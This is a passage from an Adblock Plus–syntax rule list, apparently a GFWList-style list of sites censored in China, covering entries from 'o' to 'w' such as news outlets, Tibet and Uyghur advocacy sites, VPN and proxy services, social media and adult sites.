.com\\noizoblog.com\\n.okayfreedom.com\\nold-cat.net\\n||olumpo.com\\n.olympicwatch.org\\nomgili.com\\n||omnitalk.com\\n||omnitalk.org\\ncling.omy.sg\\nforum.omy.sg\\nnews.omy.sg\\nshowbiz.omy.sg\\n||on.cc\\n||onedrive.live.com\\n|http://www.onion.city\\n.onlylady.cn\\nonmoon.net\\nonmoon.com\\n!--Sorry but we are confused as well\\n||ontrac.com\\n.oopsforum.com\\nopen.com.hk\\nopendemocracy.net\\nmyopenid.com\\n||myopenid.com\\nopenid.net\\n||openid.net\\n||blog.openinkpot.org\\n.openleaks.org\\n||openleaks.org\\nopenvpn.net\\n||openvpn.net\\n||openwebster.com\\n|http://help.opera.com\\nmy.opera.com/dahema\\n||demo.opera-mini.net\\nwww.orchidbbs.com\\norganharvestinvestigation.net\\n||orient-doll.com\\norientaldaily.com.my\\n||orientaldaily.com.my\\n!--orientaldaily.on.cc\\n||orn.jp\\nt.orzdream.com\\n||t.orzdream.com\\ntui.orzdream.com\\n||orzistic.org\\n||osfoora.com\\n|http://www.osmdroid.net\\n||ourdearamy.com\\noursogo.com\\noursteps.com.au\\nxinqimeng.over-blog.com\\nshare.ovi.com/media\\n|http://owl.li\\n|http://ht.ly\\n|http://htl.li\\n|http://mash.to\\nwww.owind.com\\n|http://www.oxid.it\\noyax.com\\n.ozchinese.com/bbs\\n||ow.ly\\nbbs.ozchinese.com\\n.ozyoyo.com\\n\\n!--------------------PP--------------------\\n.pacificpoker.com\\n.packetix.net\\n.padmanet.com\\npage2rss.com\\n||pagodabox.com\\n\\n!--Godaddy Free Hosting\\n||paint.net\\n||coveringweb.com\\n.palacemoon.com\\nforum.palmislife.com\\n||eriversoft.com\\npaljorpublications.com\\npaper.li\\npaperb.us\\n.panluan.net\\n||panluan.net\\n||pao-pao.net\\n.parade.com/dictators/2009\\n.passion.com\\n||passion.com\\n.passiontimes.hk\\npastebin.com\\n.pastie.org\\n||pastie.org\\n||blog.pathtosharepoint.com\\npbs.org/wgbh/pages/frontline/gate\\npbs.org/wgbh/pages/frontline/tankman\\npbs.org/wgbh/pages/frontline/tibet\\n\\n!--Pbwiki\\npbwiki.com\\n||pbworks.com\\n||developers.box.net\\n||wiki.oauth.net\\n||wiki.phonegap.com\\n||wiki.jqueryui.com\\n\\n||pbxes.com\\n||pbxes.org\\n.pcdiscuss.com\\npcdvd.com.tw\\n.pchome.com.tw\\n|http://pcij.org/\\n||pct.org.tw\\npdetails.com\\n||pdproxy.com\\n||peace.ca\\npeacefire.org\\npeacehall.com\\n|http://pearlher.org\\n.peeasian.com\\n.pekingduck.org\\n||pekingduck.org\\n||pen.io\\npenchinese.com\\n||penchinese.net\\n.penchinese.net\\npengyulong.com\\n||blog.pentalogic.net\\n.penthouse.com\\n.peopo.org\\n||peopo.org\\n.percy.in\\n.perfectgirls.net\\nperfectvpn.net\\n.persecutionblog.com\\nphayul.com\\nphilly.com\\n||phncdn.com\\n||photodharma.net\\n||photofocus.com\\n||phuquocservices.com\\n.picidae.net\\n||img*.picturedip.com\\npicturesocial.com\\n.pin6.com\\n||pin6.com\\n.ping.fm\\n||ping.fm\\n||pinoy-n.com\\n.piposay.com\\n.piring.com\\n||pixelqi.com\\n||css.pixnet.in\\n||pixnet.net\\n.pixnet.net\\n.pk.com\\n||placemix.com\\n!--.planetsuzy.org\\n|http://pictures.playboy.com\\n||playboy.com\\n||playpcesor.com\\nplays.com.tw\\n||m.plixi.com\\nplm.org.hk\\nplunder.com\\n.plus28.com\\n.plusbb.com\\n.pmates.com\\n||po2b.com\\n||pocoo.org\\n||podictionary.com\\n.pokerstars.com\\n||pokerstars.com\\nzh.pokerstrategy.com\\npoliticalchina.org\\npoliticalconsultation.org\\n!--||popularpages.net\\n||popvote.hk\\npopyard.com\\n||popyard.org\\n.porn.com\\n.porn2.com\\n.pornbase.org\\n||pornhd.com\\n.pornhub.com\\n||pornmm.net\\n.pornoxo.com\\n.pornrapidshare.com\\n||pornrapidshare.com\\n.pornstarclub.com\\n.porntube.com\\n.pornvisit.com\\n.portablevpn.nl\\n.post852.com\\npostadult.com\\n||powercx.com\\n||www.powerpointninja.com\\n||cdn.printfriendly.com\\n||pts.org.tw\\npubu.com.tw\\npuffinbrowser.com\\npureinsight.org\\n||putty.org\\n\\n!-------------Posterous-----\\n|http://post.ly\\n.posterous.com\\n|http://posterous.com\\n||post.anyu.org\\n||bralio.com\\n||calebelston.com\\n!-||blog.dabr.co.uk\\n||designerol.com\\n||blog.fizzik.com\\n||nf.id.au\\n||markmilian.com\\n||log.riku.me\\n||sogrady.me\\n||vatn.org\\n||veempiire.com\\n||www.vegorpedersen.com\\n||ventureswell.com\\n||webfee.tk\\n||whereiswerner.com\\n||bill.zhong.pp.ru\\n\\n.power.com\\n||power.com\\npowerapple.com\\n||abc.pp.ru\\nheix.pp.ru\\n||prayforchina.net\\n||premeforwindows7.com\\n||presentationzen.com\\n||prestige-av.com\\nprisoner-state-secret-journal-premier\\n.prisoneralert.com\\n||pritunl.com\\n||privacybox.de\\n||privateinternetaccess.com\\nprivatepaste.com\\n||privatepaste.com\\nprivatetunnel.com\\n||privatetunnel.com\\n||procopytips.com\\nprovideocoalition.com\\n||prosiben.de\\nproxifier.com\\napi.proxlet.com\\n||proxomitron.info\\nproxy.org\\n.proxypy.net\\n||proxypy.net\\nproxyroad.com\\nprozz.net\\npsblog.name\\n||psblog.name\\n||psiphon.ca\\n.ptt.cc\\n.puffstore.com\\n||pullfolio.com\\n||pureconcepts.net\\n||purepdf.com\\n||purevpn.com\\n.putlocker.com/file\\npwned.com\\npython.com\\n.python.com.tw\\n|http://python.com.tw\\n\\n!--------------------QQ--------------------\\n.qanote.com\\n||qanote.com\\nqi-gong.me\\n.qidian.ca\\n.qienkuen.org\\n||qienkuen.org\\n||qiwen.lu\\nqixianglu.cn\\nbbs.qmzdd.com\\n.qkshare.com\\nqoos.com\\n||qoos.com\\nblog.qooza.hk*dafengqixi\\n||efksoft.com\\n||qstatus.com\\n||qtweeter.com\\n||qtrac.eu\\n||quitccp.net\\n.quitccp.net\\n||quitccp.org\\n.quitccp.org\\n|http://quran.com\\nqusi8.net\\n.qvodzy.org\\nnemesis2.qx.net*pages*MyEnTunnel\\nqxbbs.org\\n\\n!--------------------RR--------------------\\n.ra.gg\\n|http://ra.gg/\\n.radicalparty.org\\nradioaustralia.net.au\\n.radiohilight.net\\n||radiohilight.net\\nopml.radiotime.com\\n||radiovaticana.org\\n||radiovncr.com\\n||raidcall.com.tw\\n.raidtalk.com.tw\\nrangzen.com\\nrangzen.net\\nrangzen.org\\n|http://blog.ranxiang.com/\\nranyunfei.com\\n||ranyunfei.com\\n.rapbull.net\\n|http://rapidgator.net/\\n!-.rapidshare.com\\n!-|http://rapidshare.com\\n||rapidshare8.com\\n.rapidsharedata.com\\n.raremovie.cc\\n|http://raremovie.cc\\n.raremovie.net\\n|http://raremovie.net\\n!--.rayfme.com/bbs\\nrcinet.ca\\n.read100.com\\n.readingtimes.com.tw\\n||readingtimes.com.tw\\n||readmoo.com\\n.realcourage.org\\n.realraptalk.com\\n.recordhistory.org\\nredchinacn.org\\n.redtube.com\\nreferer.us\\n||referer.us\\n||reflectivecode.com\\nrelaxbbs.com\\n.releaseinternational.org\\nreligioustolerance.org\\nrenminbao.com\\n.renyurenquan.org\\n||renyurenquan.org\\n|http://certificate.revocationcheck.com\\nsubacme.rerouted.org\\n.reuters.com\\n.revleft.com\\nretweetist.com\\n||retweetrank.com\\n!--connectedchina.reuters.com\\n!--|http://www.reuters.com/news/video\\nrevver.com\\n.rfa.org\\n|http://rfa.org\\n.rfachina.com\\n.rfamobile.org\\n||rferl.org\\n.rfi.fr\\n||rfi.fr\\n|http://rfi.my/\\n.rhcloud.com\\n!--Edgecast\\n|http://vds.rightster.com/\\n.rileyguide.com\\nriku.me/\\n.ritouki.jp\\n.rlwlw.com\\n||rlwlw.com\\n.rmjdw.com\\nchinese.rnw.nl\\n.rnw.nl\\nrobtex.com\\n||robustnessiskey.com\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=5mus\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=freemgl\\n||rocmp.org\\n||rojo.com\\n||ronjoneswriter.com\\n.roodo.com\\n.rosechina.net\\n.rotten.com\\n.rsf.org\\n||rsf.org\\n.rsf-chinese.org\\n||rsf-chinese.org\\n.rssmeme.com\\n||rssmeme.com\\n.rthk.hk\\n|http://rthk.hk\\n.rthk.org.hk\\n|http://rthk.org.hk\\nrti.org.tw\\n.ruanyifeng.com/blog*some_ways_to_break_the_great_firewall\\n.rushbee.com\\nrutube.ru\\n.ruyiseek.com\\n.rxhj.net\\n|http://rxhj.net\\n\\n!--------------------SS--------------------\\n||s-cute.com\\n.s-dragon.org\\n||s1heng.com\\n|http://www.s4miniarchive.com\\n||s8forum.com\\nsacom.hk\\n||sacom.hk\\n||sadpanda.us\\n.saiq.me\\n||saiq.me\\n||sakuralive.com\\n.salvation.org.hk\\n||salvation.org.hk\\n.samair.ru/proxy/type-01\\n.sambhota.org\\nsammyjs.org\\n||sankaizok.com\\n.sanmin.com.tw\\nsapikachu.net\\nsavemedia.com\\nsavetibet.de\\nsavetibet.fr\\nsavetibet.nl\\nsavetibet.org\\nsavetibet.ru\\nsavevid.com\\n||say2.info\\n|http://www.sciencemag.org/content/344/6187/953\\n.scmp.com\\n.scmpchinese.com\\n.scribd.com\\n||scriptspot.com\\nseapuff.com\\ndomainhelp.search.com\\nsecretchina.com\\n||secretgarden.no\\n||default.secureserver.net\\nsecuritykiss.com\\nseesmic.com\\n||seevpn.com\\n||seezone.net\\nsejie.com\\n.sendspace.com\\n|http://tweets.seraph.me/\\nsesawe.net\\n||sesawe.net\\n.sesawe.org\\n||sethwklein.net\\nforum.setty.com.tw\\n.sevenload.com\\n||sevenload.com\\n.sex.com\\n.sex-11.com\\n||sex3.com\\n||sex8.cc\\n.sexandsubmission.com\\n.sexhu.com\\n.sexhuang.com\\nsexinsex.net\\n||sexinsex.net\\n!--IP of SexInSex\\n67.220.91.18\\n67.220.91.23\\n|http://*.sf.net\\n.sfileydy.com\\n.sftuk.org\\n||sftuk.org\\nshadow.ma\\n.shadowsocks.org\\n||shadowsocks.org\\nshahamat-english.com\\n.shangfang.org\\n||shangfang.org\\nshapeservices.com\\n.sharebee.com\\n||sharecool.org\\n!--||sharkdolphin.com\\nsharpdaily.com.hk\\n||sharpdaily.com.hk\\n.sharpdaily.hk\\n.sharpdaily.tw\\n.shat-tibet.com\\nsheikyermami.com\\n.shenshou.org\\nshenyun.com\\nshenyunperformingarts.org\\nshenzhoufilm.com\\n||shenzhoufilm.com\\nshinychan.com\\n.shitaotv.org\\n||shixiao.org\\n||shizhao.org\\n.shizhao.org\\nshkspr.mobi/dabr\\n||shodanhq.com\\n.shopping.com\\n.showtime.jp\\nch.shvoong.com\\n.shwchurch3.com\\n|http://shwchurch3.com\\n||sidelinesnews.com\\n.sidelinessportseatery.com\\nsimplecd.org\\n||simplecd.org\\n@@||simplecd.me\\nsimpleproductivityblog.com\\nbbs.sina.com/\\nbbs.sina.com%2F\\nblog.sina.com.tw\\ndailynews.sina.com/\\ndailynews.sina.com%2F\\nforum.sina.com.hk\\nhome.sina.com\\n||magazines.sina.com.tw\\nnews.sina.com.hk\\nnews.sina.com.tw\\n|http://news.sinchew.com.my\\n.singaporepools.com.sg\\n||singaporepools.com.sg\\nsingtao.com\\n||singtao.com\\nnews.singtao.ca\\n!--||cdp.sinica.edu.tw\\nsino-monthly.com\\n||sinocast.com\\nsinocism.com\\nsinomontreal.ca\\n.sinonet.ca\\n.sinopitt.info\\n.sinoants.com\\n||sinoants.com\\nsinoquebec.com\\n||site90.net\\n.sitebro.tw\\n||sitekreator.com\\n||siteks.uk.to\\n||sitemaps.org\\nsitetag.us\\nsis.xxx\\n||sis001.com\\nsis001.us\\n||sjum.cn/\\n||skimtube.com\\n||skybet.com\\n|http://users.skynet.be/reves/tibethome.html\\n|http://skyhighpremium.com/\\nbbs.skykiwi.com\\n|http://www.skype.com/intl/\\n|http://www.skype.com/zh-Hant\\n||skyvegas.com\\n.xskywalker.com\\n||xskywalker.com\\nm.slandr.net\\n||slavasoft.com\\n||slheng.com\\n.slideshare.net\\nforum.slime.com.tw\\n.slinkset.com\\n||slickvpn.com\\n.slutload.com\\nsmhric.org\\n!--TODO-no-homepage\\n||snapchat.com\\n.snaptu.com\\n||snaptu.com\\n||sndcdn.com\\nsneakme.net\\n||snooper.co.uk\\nsnowlionpub.com\\n||so-ga.net\\n.so-ga.net\\n||so-news.com\\n.so-news.com\\nhome.so-net.net.tw/yisa_tsai\\n||soc.mil/\\n||sockslist.net\\n.sod.co.jp\\n.softether.org\\n||softether.org\\n.softether-download.com\\n||softether-download.com\\n||cdn.softlayer.net\\n||sogclub.com\\nsohcradio.com\\n||sohcradio.com\\n||www.somee.com\\n||sorting-algorithms.com\\n.soumo.info\\n||soup.io/\\n@@||static.soup.io\\n.sobees.com\\n||sobees.com\\nsocialwhale.com\\n.softether.co.jp\\n||softwarebychuck.com\\nblog.sogoo.org\\nsoh.tw\\n||soh.tw\\nsohfrance.org\\n||sohfrance.org\\nchinese.soifind.com\\nsokamonline.com\\n||somee.com\\n.songjianjun.com\\n||songjianjun.com\\n.sonidodelaesperanza.org\\n.sopcast.com\\n.sopcast.org\\n.soul-plus.net\\n||soundcloud.com\\n!--|https://soundcloud.com/punkgod\\n.soundofhope.kr\\nsoundofhope.org\\n||soundofhope.org\\n||soupofmedia.com\\n.sourceforge.net\\n!-|http://sourceforge.net\\n|http://sourceforge.net/p*/shadowsocksgui/\\nsouthnews.com.tw\\nsowers.org.hk\\n||wlx.sowiki.net\\n||space-scape.com\\n||spankbang.com\\n.spankwire.com\\n||spb.com\\n||speakerdeck.com\\n||spencertipping.com\\nspinejs.com\\n||sproutcore.com\\n||sproxy.info\\nsquarespace.com\\n||ssh91.com\\n!--|http://cdn.sstatic.net/\\nwww.stackfile.com/freedur\\n|http://stackoverflow.com/users/895245\\n.stage64.hk\\n||stage64.hk\\n||standupfortibet.org\\nstanford.edu/group/falun\\nusinfo.state.gov\\n.starp2p.com\\n||starp2p.com\\n.startpage.com\\n||startpage.com\\n.state168.com\\n||steel-storm.com\\n||stepmania.com\\nsthoo.com\\n||sthoo.com\\n.stickam.com\\nstickeraction.com/sesawe\\n||stoneip.info\\n||storagenewsletter.com\\n.storm.mg\\n||storm.mg\\n.stoptibetcrisis.net\\n||stoptibetcrisis.net\\n||storify.com\\n||stoweboyd.com\\n||streamingthe.net\\ncn.streetvoice.com/article\\ncn.streetvoice.com/diary\\ncn2.streetvoice.com\\ntw.streetvoice.com\\n||strongvpn.com\\n.student.tw/db\\n||studentsforafreetibet.org\\n||stumbleupon.com\\nstupidvideos.com\\n.sugarsync.com\\n||sugarsync.com\\nsummify.com\\nsun1911.com\\n.sunporno.com\\n||sunporno.com\\n.surfeasy.com\\n||surfeasy.com\\n.suyangg.com\\n|http://suyangg.com/\\n.suoluo.org\\napi.supertweet.net\\nwww.supertweet.net\\n.surfeasy.com.au\\n||surrenderat20.net\\n||svwind.com\\n||sweux.com\\n||swift-tools.net\\n.sydneytoday.com\\n.sylfoundation.org\\n||syncback.com\\n||sysadmin1138.net\\nsysresccd.org\\n.sytes.net\\nblog.syx86.com/2009/09/puff\\nblog.syx86.cn/2009/09/puff\\n.szbbs.net\\n||szetowah.org.hk\\n\\n!--------------------------TT--------------------------\\n.t35.com\\n.t66y.com\\n||t66y.com\\n||t88.ca\\n.taa-usa.org\\n|http://taa-usa.org\\n|http://www.tablesgenerator.com/\\ntabtter.jp\\n.tacem.org\\n||tafaward.com\\ntagwalk.com\\n||tagwalk.com\\ntahr.org.tw\\ntaipei.gov.tw\\n.taipeisociety.org\\n||taipeisociety.org\\n.taiwandaily.net\\n||taiwantt.org.tw\\n||taiwandaily.net\\ntaiwankiss.com\\ntaiwannation.com\\ntaiwannation.com.tw\\n||taiwannews.com.tw\\n|http://www.taiwanonline.cc/\\ntaiwantp.net\\ntaiwanus.net\\ntaiwanyes.com\\ntaiwan-sex.com\\n.talk853.com\\n.talkboxapp.com\\n||talkboxapp.com\\n||tamiaode.tk\\n||tanc.org\\ntangben.com\\n.taolun.info\\n||taolun.info\\nblog.taragana.com\\n||taup.net\\n|http://www.taup.org.tw\\n.taweet.com\\n||taweet.com\\n||tbpic.info\\n||tbsec.org\\n||tbsn.org\\n.tbsseattle.org\\n.tccwonline.org\\n.tcewf.org\\ntchrd.org\\n||techlifeweb.com\\n!--technorati.com\\n||techparaiso.com\\n||teck.in\\nteensinasia.com\\n.telecomspace.com\\n||telegram.org\\n||telegraph.co.uk\\n.tenacy.com\\n.tew.org\\n||theatrum-belli.com\\n||thebodyshop-usa.com\\ntheblemish.com\\n||thebcomplex.com\\n||thebobs.com\\n.thechinabeat.org\\n|http://www.thechinastory.org/yearbooks/yearbook-2012/\\n||thedieline.com\\n||thedw.us\\nthefrontier.hk/tf\\n!--||thegatesnotes.com\\n|http://thegioitinhoc.vn/\\n.thehots.info\\nthehousenews.com\\n||thehun.net\\n.theinitium.com\\n||theinitium.com\\n||thelifeyoucansave.com\\n.thenewslens.com\\nthepiratebay.org\\n!--||thepiratebay.se\\nthereallove.kr\\n||thesartorialist.com\\nthespeeder.com\\n||thestandnews.com\\nthetibetconnection.org\\n.thetibetmuseum.org\\n||thetibetpost.com\\nthetrotskymovie.com/\\nthevivekspot.com\\n||thewgo.org\\n.thinkingtaiwan.com\\n.thisav.com\\n|http://thisav.com\\n||thomasbernhard.org\\nthreatchaos.com\\n||throughnightsfire.com\\n.thumbzilla.com\\n||thywords.com\\ntiananmenmother.org\\n||tiananmenuniv.com\\n||tiananmenuniv.net\\n||tiandixing.org\\n.tianhuayuan.com\\n.tianlawoffice.com\\ntiantibooks.org\\n.tianzhu.org\\n.tibet.at\\ntibet.ca\\n.tibet.com\\n||tibet.com\\ntibet.fr\\n.tibet.net\\n||tibet.net\\ntibet.nu\\n.tibet.org\\n||tibet.org\\ntibet.org.tw\\n.tibet-foundation.org\\n.tibet-house-trust.co.uk\\ntibet-info.net\\ntibet-initiative.de\\n||tibet-initiative.de\\n.tibet-munich.de\\n.tibetaid.org\\ntibetalk.com\\ntibetan-alliance.org\\n.tibetanarts.org\\n.tibetcollection.com\\ntibetanculture.org\\n.tibetanpaintings.com\\n.tibetanphotoproject.com\\n.tibetanwomen.org\\n|http://tibetanwomen.org\\n.tibetanyouthcongress.org\\n||tibetanyouthcongress.org\\n.tibetcharity.dk\\ntibetcharity.in\\n.tibetcity.com\\n.tibetcorps.org\\ntibetfocus.com\\ntibetfund.org\\ntibethouse.jp\\ntibethouse.org\\n||tibethouse.us\\ntibettimes.net\\n.tibetjustice.org\\n|http://tibetmuseum.org\\ntibetnetwork.org\\n||tibetnetwork.org\\n.tibetoffice.ch\\n|http://tibetoffice.ch\\ntibetoffice.org\\ntibetonline.com\\n||tibetonline.com\\n.tibetoffice.com.au\\n|http://tibetoffice.com.au\\n||tibetonline.tv\\n.tibetonline.tv\\n.tibetoralhistory.org\\n.tibetrelieffund.co.uk\\ntibetsites.com\\n.tibetsun.com\\n||tibetwrites.org\\n.time.com/time/time100/leaders/profile/rebel\\n.time.com/time/specials/packages/article/0,28804\\n.time.com/time/magazine\\n||blog.tiney.com\\n.tiny.cc\\n|http://tiny.cc\\ntinychat.com\\n||tinypaste.com\\n.tistory.com\\n||tkcs-collins.com\\n||tkforum.tk\\n.tmagazine.com\\n||tmagazine.com\\n|http://tmi.me\\n.tnaflix.com\\n||tnaflix.com\\n.tnp.org\\n|http://tnp.org\\ntogetter.com\\n.tokyo-247.com\\ntokyo-hot.com\\n||tokyocn.com\\ntw.tomonews.net\\n.tono-oka.jp\\ntonyyan.net\\n.toodoc.com\\ntoonel.net\\n.topnews.in\\n||topshare.us\\n.topshareware.com\\n||topstyle4.com\\n||topsy.com\\n.topsy.com\\n||toptip.ca\\ntora.to\\n.torproject.org\\n||torproject.org\\ntorrentcrazy.com\\n||torrentcrazy.com\\n||torrentproject.se\\n||torrentz.eu\\n||torvpn.com\\ntouch99.com\\n||toutfr.com\\n.tpi.org.tw\\n||tpi.org.tw\\n||transgressionism.org\\n||transparency.org\\n||travelinlocal.com\\n||treemall.com.tw\\ntrendsmap.com\\n||trendsmap.com\\n.trialofccp.org\\n||trialofccp.org\\n||tripod.com\\n@@||www.tripod.com\\n.trouw.nl\\n.trt.net.tr\\ntrtc.com.tw\\ntrulyergonomic.com\\n||trustedbi.com\\n.truth101.co.tv\\n|http://truth101.co.tv\\n||truthcn.com\\n.truveo.com\\n.tsemtulku.com\\ntsquare.tv\\n.tsu.org.tw\\ntsunagarumon.com\\n|http://www.tsuru-bird.net/\\n.tsctv.net\\n||tt-rss.org\\n||tt1069.com\\n||tttan.com\\n.tttan.com\\nbb.ttv.com.tw/bb\\ntu8964.com\\n.tuanzt.com\\n.tube.com\\ntube8.com\\n||tube8.com\\n.tube911.com\\n||tube911.com\\ntubecao.com\\n||tubewolf.com\\ntuidang.net\\ntuidang.org\\nbbs.tuitui.info\\n||tumutanzi.com\\n.tunein.com\\n|http://tunein.com\\n||tunnelbear.com\\n.tuo8.hk\\n.tuo8.org\\n||tuo8.org\\n.turbobit.net\\n|http://turbobit.net\\n||turningtorso.com\\n||tuxtraining.com\\n|http://tuzaijidi.com\\n|http://*.tuzaijidi.com\\n.tw01.org\\n|http://tw01.org\\n\\n!-------------Tumblr-----\\n!--||tumblr.com\\n!--@@||assets.tumblr.com\\n!--@@||data.tumblr.com\\n!--@@||media.tumblr.com\\n!--@@||static.tumblr.com\\n!--@@||www.tumblr.com\\n||fqrouter.tumblr.com\\n\\n.tv.com\\n||www.tv.com\\n|http://tv.com\\n||tv-intros.com\\ntvants.com\\nforum.tvb.com/\\nnews.tvb.com/list/world\\ntvboxnow.com\\ntvider.com\\n||tvunetworks.com\\n.tw-npo.org\\ntwapperkeeper.com\\n||twapperkeeper.com\\n||twaud.io\\n.twaud.io\\n.twbbs.net.tw\\ntwbbs.org\\ntwbbs.tw\\n||twblogger.com\\ntweepmag.com\\n.tweepml.org\\n||tweepml.org\\n.tweetbackup.com\\n||tweetbackup.com\\ntweetboard.com\\n||tweetboard.com\\n.tweetboner.biz\\n||tweetboner.biz\\n.tweetdeck.com\\n||tweetdeck.com\\n|http://deck.ly\\n!-- Operation discontinued\\n!--||tweete.net\\n!--m.tweete.net\\n||mtw.tl\\n||tweetedtimes.com\\n!-- Operation discontinued\\n!--tweetmeme.com\\n||tweetmylast.fm\\ntweetphoto.com\\n||tweetphoto.com\\n||tweetrans.com\\ntweetree.com\\n||tweetree.com\\n||tweetwally.com\\ntweetymail.com\\n||twftp.org\\ntwibase.com\\n.twibble.de\\n||twibble.de\\ntwibbon.com\\n||twibs.com\\ntwicsy.com\\n.twifan.com\\n|http://twifan.com\\ntwiffo.com\\n||twiffo.com\\ntwilog.org\\ntwimbow.com\\n||twimbow.com\\n||twindexx.com\\ntwipple.jp\\n||twipple.jp\\n||twip.me/\\ntwistar.cc\\n||twister.net.co\\n||twisterio.com\\ntwisternow.com\\ntwistory.net\\ntwitbrowser.net\\n||twitcause.com\\n||twitgether.com\\n||twiggit.org\\ntwitgoo.com\\ntwitiq.com\\n||twitiq.com\\n.twitlonger.com\\n||twitlonger.com\\n|http://tl.gd/\\ntwitoaster.com\\n||twitoaster.com\\n||twitonmsn.com\\n.twitpic.com\\n||twitpic.com\\n!--Same IP\\n.twit2d.com\\n||twit2d.com\\n.twitstat.com\\n||twitstat.com\\n||firstfivefollowers.com\\n||retweeteffect.com\\n||tweeplike.me\\n||tweepguide.com\\n||turbotwitter.com\\n.twitvid.com\\n||twitvid.com\\n\\n199.59.148.20\\n||t.co\\n.t.co\\n|http://twt.tl\\ntwittbot.net\\ntwitter.com\\n||twitter.com\\n||twitter.jp\\n||twttr.com\\n/^https?:\\\\/\\\\/[^\\\\/]+twitter\\\\.com/\\n\\n||twitter4j.org\\n.twittercounter.com\\n||twittercounter.com\\ntwitterfeed.com\\n.twittergadget.com\\n||twittergadget.com\\n.twitterkr.com\\n||twitterkr.com\\n||twittermail.com\\ntwittertim.es\\n||twittertim.es\\ntwitthat.com\\n||twitturk.com\\n.twitturly.com\\n||twitturly.com\\n.twitzap.com\\ntwiyia.com\\n||twstar.net\\n\\n.twtkr.com\\n|http://twtkr.com\\n||twimg.com\\ntwtrland.com\\ntwurl.nl\\n.twyac.org\\n||twyac.org\\n.tycool.com\\n||tycool.com\\n||tzangms.com\\n\\n!--typepad\\n||typepad.com\\n@@||www.typepad.com\\n@@||static.typepad.com\\n||blog.expofutures.com\\n||legaltech.law.com\\n||latimesblogs.latimes.com\\n||blog.palm.com\\n||blogs.tampabay.com\\n||contests.twilio.com\\n!-lawprofessors.typepad.com/china_law_prof\\n\\n!-------------Twitese-----\\nembr.in\\n||embr.in\\nguomin.us/login\\n\\n!--------------------------UU--------------------------\\n||uberproxy.net\\n.srcf.ucam.org/salon/\\n||ucdc1998.org\\n|http://hum*.uchicago.edu/faculty/ywang/history\\n||uderzo.it\\n||udn.com\\n.udn.com\\n||uforadio.com.tw\\nufreevpn.com\\n.ugo.com\\n||uhrp.org\\n.uighur.nl\\n||uighur.nl\\nuighurbiz.net\\n.ulike.net\\nukliferadio.co.uk\\n||ukliferadio.co.uk\\nultravpn.fr\\n||ultravpn.fr\\nultraxs.com\\numich.edu/~falun\\n||unblock.cn.com\\n||unblocksit.es\\nuncyclomedia.org\\nuncyclopedia.info\\n|http://uncyclopedia.tw\\n||unholyknight.com\\n.uni.cc\\nunicode.org\\n.unification.org.tw\\n.uniteddaily.com.my/index.php?\\n.unix100.com\\n||unknownspace.org\\nunpo.org\\n||uocn.org\\ntor.updatestar.com\\n.upholdjustice.org\\n.upload4u.info\\n|http://uploaded.net/file/\\n.uploaded.to/file\\n|http://uploaded.to/file\\n.uploadstation.com/file\\n.upwill.org\\nwww.urbanoutfitters.com\\nmyshare.url.com.tw/\\n||urlborg.com\\n||urlparser.com\\nus.to\\n||usacn.com\\nbeta.usejump.com\\n||usfk.mil\\n||usma.edu\\n||usmc.mil\\n|http://tarr.uspto.gov/\\n||tsdr.uspto.gov\\n.ustream.tv\\n||ustream.tv\\n||ustwrap.info\\nusus.cc\\n.uwants.com\\n.uwants.net\\n|http://uyghur-j.org\\n||uyghuramerican.org\\n.uyghurcanadiansociety.org\\n.uyghurensemble.co.uk\\n||uyghurcongress.org\\n.uyghurpen.org\\n.uyghurpress.com\\nuygur.org\\n|http://uymaarip.com/\\n\\n!--------------------------VV--------------------------\\n||v2dn.com\\n!--|http://cdn.v2ex.com\\n!--|http://v2ex.com\\n!--|http://www.v2ex.com\\n||vaayoo.com\\n.van698.com\\n.vanemu.cn\\n.vanilla-jp.com\\nvansky.com\\n||vcf-online.org\\n||vcfbuilder.org\\n.velkaepocha.sk\\n.venbbs.com\\n.venchina.com\\nveoh.com\\n.verizon.net\\n||verybs.com\\n.vft.com.tw\\n.viber.com\\nvideobam.com\\n||videobam.com\\n.videomega.tv\\n||videomega.tv\\n.videomo.com\\n||vidoemo.com\\nvideopediaworld.com\\n||viki.com\\nvimeo.com\\n||vimgolf.com\\n||vimperator.org\\n||vincnd.com\\n||vinniev.com\\n|http://www.lib.virginia.edu/area-studies/Tibet/tibet.html\\n|http://ny.visiontimes.com/\\n.vivatube.com\\n.vivthomas.com\\n||vivthomas.com\\n.vjmedia.com.hk\\n.vllcs.org\\n||vmixcore.com\\ncn.voa.mobi\\ntw.voa.mobi\\n.voachineseblog.com\\n||voachineseblog.com\\n!--voachineseblog.com/heqinglian\\nvoagd.com\\nvoacantonese.com\\n||voacantonese.com\\nvoachinese.com\\n||voachinese.com\\nvoatibetan.com\\n||voatibetan.com\\n.voanews.com\\nvocn.tv\\n.vot.org\\n||vot.org\\nwww.voy.com\\n||www.vpncup.com\\nvpnbook.com\\nvpnfire.com\\n.vpnforgame.net\\n||vpnforgame.net\\n||vpngate.jp\\n.vpngate.net\\n||vpngate.net\\n||vpnpop.com\\n||vpnpronet.com\\n||vpnreviewz.com\\n.vporn.com\\n||vporn.com\\n||vtunnel.com\\n\\n!--------------------------WW--------------------------\\n||w.org\\nlists.w3.org/archives/public\\n||w3schools.com\\n||waffle1999.com\\n.wahas.com\\n.waigaobu.com\\nwaikeung.org/php_wind\\n.waiwaier.com\\n|http://waiwaier.com\\nwallornot.org\\n||wallpapercasa.com\\n||www.wan-press.org\\n||wanderinghorse.net\\n||wangafu.net\\n||wangjinbo.org\\n.wangjinbo.org\\nwanglixiong.com\\nwangruoshui.net\\nwww.wangruowang.org\\nwant-daily.com\\nwapedia.mobi/zhsimp\\n||waselpro.com\\n.wattpad.com\\n||wattpad.com\\n.makzhou.warehouse333.com\\nwasheng.net\\n||watchmygf.net\\n||wav.tv\\n.wdf5.com\\n.wearn.com\\n||wearn.com\\n||hudatoriq.web.id\\n||web2project.net\\nwebbang.net\\nweblagu.com\\n||webmproject.org\\nwebs-tv.net\\n!--webshots.com\\nwebsitepulse.com/help/testtools.china-test.html\\n|http://www.websnapr.com\\nwebworkerdaily.com\\n.weekmag.info\\n||wefightcensorship.org\\n.wefong.com\\nweiboleak.com\\nweijingsheng.org\\n.weiming.info\\n||weiming.info\\nweiquanwang.org\\n|http://weisuo.ws\\n.wemigrate.org\\nwengewang.com\\n||wengewang.org\\n.wenhui.ch\\n|http://trans.wenweipo.com/gb/\\nwenxuecity.com\\n.wenyunchao.com\\n||wenyunchao.com\\nwestca.com\\n||westca.com\\n||westernwolves.com\\n.westkit.net\\n||westpoint.edu\\nwww.wet123.com\\n||wepn.info\\n.westernshugdens